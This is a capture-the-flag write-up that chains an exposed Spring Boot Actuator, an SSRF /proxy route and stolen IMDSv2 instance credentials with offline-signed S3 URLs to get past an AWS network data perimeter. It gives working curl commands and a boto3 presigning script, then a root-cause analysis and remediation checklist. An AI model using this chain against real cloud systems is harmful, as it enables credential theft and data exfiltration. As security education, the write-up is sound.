Perimeter Leak CTF: Bypassing an AWS Data Perimeter with Pre-Signed URLs
Perimeter Leak CTF: Challenge Brief
A Spring Boot Actuator application is exposed on the internet with its management endpoints left open. One of its application routes,
/proxy, is a Server-Side Request Forgery (SSRF) primitive. The target S3 bucket is protected by an AWS data perimeter - a bucket policy that only allows requests originating from inside the application's VPC. Stolen credentials used from anywhere else are rejected.The objective: retrieve the flag from
private/flag.txtin a bucket that you can sign for but cannot reach directly.
We were given a web shell and a single working command:
$ curl https://ctf:[REDACTED]@challenge01.cloud-champions.com
{"status":"UP"}
The {"status":"UP"} response is the tell-tale fingerprint of a Spring Boot application with Actuator enabled. Basic-auth credentials are embedded in the URL and reused on every request below.
The Exploit Chain at a Glance
- Read the Actuator
/actuator/mappingsendpoint to discover the app's routes. - Abuse
/proxyto reach the EC2 Instance Metadata Service (IMDSv2) and steal the instance role's temporary AWS credentials. - Read
/actuator/envto learn the target S3 bucket name. - The bucket policy enforces a network-based data perimeter. Generate an S3 pre-signed URL offline (pure local crypto, no AWS call), then fetch that URL through the
/proxySSRF, so the actual S3 request leaves the instance from inside the perimeter and passes the network condition.
The lesson: a data perimeter restricts where a request comes from, not who holds the credentials. A pre-signed URL detaches the signing step from the sending step, so an SSRF that lives inside the perimeter can be used to send a request that was signed outside it.
Step 1: Enumerate Spring Boot Actuator Endpoints
Spring Boot Actuator exposes /actuator/mappings, which dumps every HTTP route the application serves:
$ curl -s https://ctf:[REDACTED]@challenge01.cloud-champions.com/actuator/mappings
Among the standard Actuator routes, two custom application routes stood out:
{ [/proxy], params [url] } -> challenge.Application#proxy(String)
{ [/] } -> challenge.Application#home()
/proxy takes a url query parameter and has no HTTP method restriction ("methods":[]), meaning it answers to any verb - GET, PUT, anything. That detail matters in the next step. The standard /actuator/env endpoint was also exposed.
Step 2: SSRF to IMDSv2 and Stealing Instance Credentials
/proxy?url=... makes the server fetch a URL of our choosing - a classic SSRF. The high-value internal target on EC2 is the Instance Metadata Service at 169.254.169.254.
A first naive attempt confirmed IMDSv2 is in use:
$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/'
HTTP error: 401 Unauthorized
IMDSv2 requires a session token, obtained with a PUT to /latest/api/token plus the X-aws-ec2-metadata-token-ttl-seconds header. Because /proxy accepts any HTTP method and forwards request headers to the upstream target, the token can be minted straight through the proxy:
$ curl -s -X PUT \
'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'
AQAEABpZ[REDACTED]==
With the token in hand (sent back as the X-aws-ec2-metadata-token header), list the IAM role attached to the instance:
$ TOKEN='AQAEABpZ[REDACTED]=='
$ curl -s \
'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' \
-H "X-aws-ec2-metadata-token: $TOKEN"
challenge01-5592368
Then fetch that role's temporary credentials:
$ curl -s \
'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368' \
-H "X-aws-ec2-metadata-token: $TOKEN"
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA[REDACTED]",
"SecretAccessKey" : "[REDACTED]",
"Token" : "IQoJb3JpZ2luX2VjEHQ...QQc0=",
"Expiration" : "2026-05-24T02:15:11Z"
}
We now hold the instance role's AccessKeyId, SecretAccessKey, and session Token. The session token decodes to AWS account [REDACTED], region us-east-1.
Step 3: Discover the Target S3 Bucket via /actuator/env
The target bucket name is in the Spring Boot environment. /actuator/env is exposed, so we read it and filter for anything S3-related:
$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/actuator/env' \
| tr ',' '\n' | grep -i -E 'bucket|s3|flag|region'
"BUCKET":{"value":"challenge01-470f711"
"origin":"System Environment Property \"BUCKET\""}
Target bucket: challenge01-470f711.
Step 4: The Data Perimeter, and the Pre-Signed URL Bypass
If you simply load the stolen credentials into the AWS CLI on your own machine and run aws s3 ls s3://challenge01-470f711, the request is denied. The bucket policy enforces an AWS data perimeter - a condition such as aws:SourceVpc, aws:SourceVpce, or aws:SourceIp that only permits requests that physically originate from the application's own network. The credentials are valid; the network location of your request is not.
The key insight: creating an S3 pre-signed URL is a purely offline operation. It is just an HMAC-SHA computation over the request parameters using the secret key - no call to AWS is made when the URL is generated. The data-perimeter policy is only evaluated when the signed request is actually sent to S3.
So the plan is to split signing from sending:
- Sign the request anywhere (here, locally) using the stolen credentials.
- Send it from inside the perimeter by feeding the pre-signed URL back into the
/proxySSRF. The instance fetches the URL, so the HTTPS request to S3 leaves the EC2 instance - inside the allowed VPC - and the data-perimeter condition passes.
Generating Pre-Signed URLs Locally with boto3
The pre-signed URLs were generated locally with Python + boto3 using the stolen credentials. The session token from Step 2 was saved to token.txt, and this script (presign.py) produced both a bucket-listing URL and an object-GET URL:
import boto3, sys, urllib.parse
AK = "ASIA[REDACTED]"
SK = "[REDACTED]"
TOKEN = open("token.txt").read().strip() # session Token from Step 2
BUCKET = "challenge01-470f711"
REGION = "us-east-1"
session = boto3.session.Session(
aws_access_key_id=AK,
aws_secret_access_key=SK,
aws_session_token=TOKEN,
region_name=REGION,
)
c = session.client("s3", region_name=REGION)
mode = sys.argv[1] if len(sys.argv) > 1 else "list"
if mode == "list":
url = c.generate_presigned_url(
"list_objects_v2", Params={"Bucket": BUCKET}, ExpiresIn=3600)
else:
url = c.generate_presigned_url(
"get_object", Params={"Bucket": BUCKET, "Key": sys.argv[2]},
ExpiresIn=3600)
print(url)
# Wrap it so /proxy fetches it. The inner URL must be fully URL-encoded
# because it contains '&' and '=' that would otherwise break the outer query.
wrapped = ("https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url="
+ urllib.parse.quote(url, safe=""))
print("curl -s '" + wrapped + "'")
$ pip install boto3
$ python3 presign.py list # pre-signed ListObjectsV2 URL
$ python3 presign.py get "private/flag.txt" # pre-signed GetObject URL
Important encoding detail: the pre-signed S3 URL contains its own ?, &, and = characters. When it is placed inside the outer /proxy?url=<...> request it must be fully percent-encoded (urllib.parse.quote(url, safe="")), otherwise the proxy only sees a truncated URL. This is why the final commands contain double-encoded sequences like %252F.
Listing the Bucket Through the Proxy
Fetching the pre-signed ListObjectsV2 URL via /proxy:
$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=<URL-ENCODED pre-signed list URL>'
<ListBucketResult ...>
<Name>challenge01-470f711</Name>
<Contents><Key>hello.txt</Key> <Size>29</Size></Contents>
<Contents><Key>private/flag.txt</Key> <Size>51</Size></Contents>
</ListBucketResult>
The listing succeeded - proof the request passed the data perimeter because it came from inside the instance - and revealed the flag object: private/flag.txt.
Step 5: Retrieve the Flag
Generate a pre-signed GetObject URL for private/flag.txt, wrap it for /proxy, and fetch it:
$ curl -s 'https://ctf:[REDACTED]@challenge01.cloud-champions.com/proxy?url=<URL-ENCODED pre-signed get_object URL for private/flag.txt>'
The flag is: WIZ_CTF_[REDACTED]
Perimeter Leak CTF Flag
WIZ_CTF_[REDACTED]
Attack Chain Diagram
Spring Boot Actuator publicly exposed
|
v
GET /actuator/mappings discovers application route /proxy?url=
|
v
/proxy forwards arbitrary URL, HTTP method, and headers
|
v
PUT /latest/api/token through /proxy mints an IMDSv2 token
|
v
GET /meta-data/iam/security-credentials/<role> through /proxy
returns AccessKeyId / SecretAccessKey / session Token
|
v
GET /actuator/env leaks BUCKET=challenge01-470f711
|
v
Direct s3:ListBucket from attacker laptop denied by data perimeter
(network condition on aws:SourceVpc / aws:SourceVpce / aws:SourceIp)
|
v
boto3 generate_presigned_url() signs ListObjectsV2 and GetObject
URLs offline using the stolen creds (no AWS API call)
|
v
Fetch each pre-signed URL via /proxy. The HTTPS request to S3
leaves the EC2 instance from inside the perimeter - policy passes
|
v
GetObject on private/flag.txt returns the flag
Root Cause Analysis: Why the Perimeter Failed
The data perimeter is doing exactly what it was designed to do - permitting requests only when they originate inside the application's VPC. The bypass does not weaken or disable the perimeter; it stays in place the entire time. Instead, the attacker borrows the application's network identity for a single S3 request by routing that request through the application.
Four flaws stack:
- Internet-exposed Spring Boot Actuator with sensitive endpoints enabled.
/actuator/mappingshands an attacker the application's full route table, and/actuator/envhands them the resource names that the application uses internally. Actuator was intended for internal operations tooling, not for the public internet. - A general-purpose SSRF that forwards arbitrary HTTP methods and headers. Without method or header restrictions on
/proxy, the attacker can satisfy IMDSv2'sPUT /latest/api/tokencontract through the proxy, which defeats the only protection IMDSv2 was designed to add over IMDSv1 against header-injection-style SSRF. - IMDS reachable from the application with a credential-bearing role. Any SSRF on an EC2 instance becomes a credential-theft primitive when the application has IMDS network reachability and an instance role with non-trivial permissions. Hop-limit-1 on IMDS plus a least-privilege role narrows this; neither was in place here.
- A network-only data perimeter as the sole control on the bucket. A perimeter built solely on
aws:SourceVpc,aws:SourceVpce, oraws:SourceIpassumes that no compromised in-perimeter component will ever make an arbitrary request on the attacker's behalf. The pre-signed URL bypass turns the application into exactly that.
Remediation Checklist
| Weakness | Fix |
|---|---|
Actuator endpoints (/mappings, /env) exposed to the internet |
Bind Actuator to a management port, require auth, or expose only /health. Never expose /env and /mappings publicly. |
/proxy is an unrestricted SSRF - it forwards arbitrary URLs, methods, and headers |
Allow-list destination hosts; block link-local 169.254.169.254; never forward client-controlled methods or headers; restrict to GET. |
| IMDS reachable from the app and credentials exfiltrable | IMDSv2 alone is not enough when the app is a header/method-forwarding proxy. Set the IMDS hop limit to 1 and scope the instance role to least privilege. |
| Data perimeter assumed credentials can't be used from inside the network by an attacker | A network-based data perimeter does not stop an in-network SSRF. Pre-signed URLs let an attacker sign outside and send inside. Combine perimeter controls with least-privilege IAM, identity-based conditions (aws:PrincipalArn), and SSRF prevention - defense in depth. |
Lessons Learned
- Spring Boot Actuator is a goldmine when exposed.
/mappingsand/envtogether give an attacker the application's internal route table and configuration in two HTTP requests. Treat both as crown-jewels-tier sensitive endpoints. - IMDSv2 is not magic. Its session-token contract assumes the attacker cannot freely make
PUTrequests with custom headers to the metadata IP. A method- and header-forwarding SSRF breaks that assumption directly. Combine IMDSv2 with hop-limit-1 so the metadata service is not reachable from containers and sidecars in the first place. - Signing and sending are different operations. Pre-signed URLs are computed offline from the credential material; no API call is made until someone fetches the URL. Any control that runs at request time - network-based perimeters, request-level WAF rules, request-rate quotas - can be sidestepped by signing outside and sending from inside.
- Defense in depth, or none. A data perimeter is a strong, expensive control. It is also exactly one layer. Pair it with least-privilege roles, IMDS hop-limit-1, identity-based conditions on the bucket, and SSRF-hardened application code so that no single broken assumption hands over the bucket.
Perimeter Leak CTF: Final Thoughts
This challenge is a clean illustration of a defense-in-depth gap. The data perimeter is a strong control on its own and is doing precisely what was advertised, but the application sitting inside the perimeter has a request-forwarding bug, and that single bug turns the perimeter from a control into a courier. The S3 request that retrieves the flag is a legitimate, well-formed, perimeter-compliant request - it just happens to be carrying data the attacker chose.
The takeaway from the challenge author: AWS data perimeters constrain the origin of a request, not possession of credentials. Pre-signed URLs - a common, legitimate feature in larger applications - decouple signing from sending, so any request-forwarding bug that sits inside the perimeter can be turned into a perimeter bypass.
Challenge created by Scott Piper as part of the Wiz Cloud Security Championship. Writeup completed: May 2026.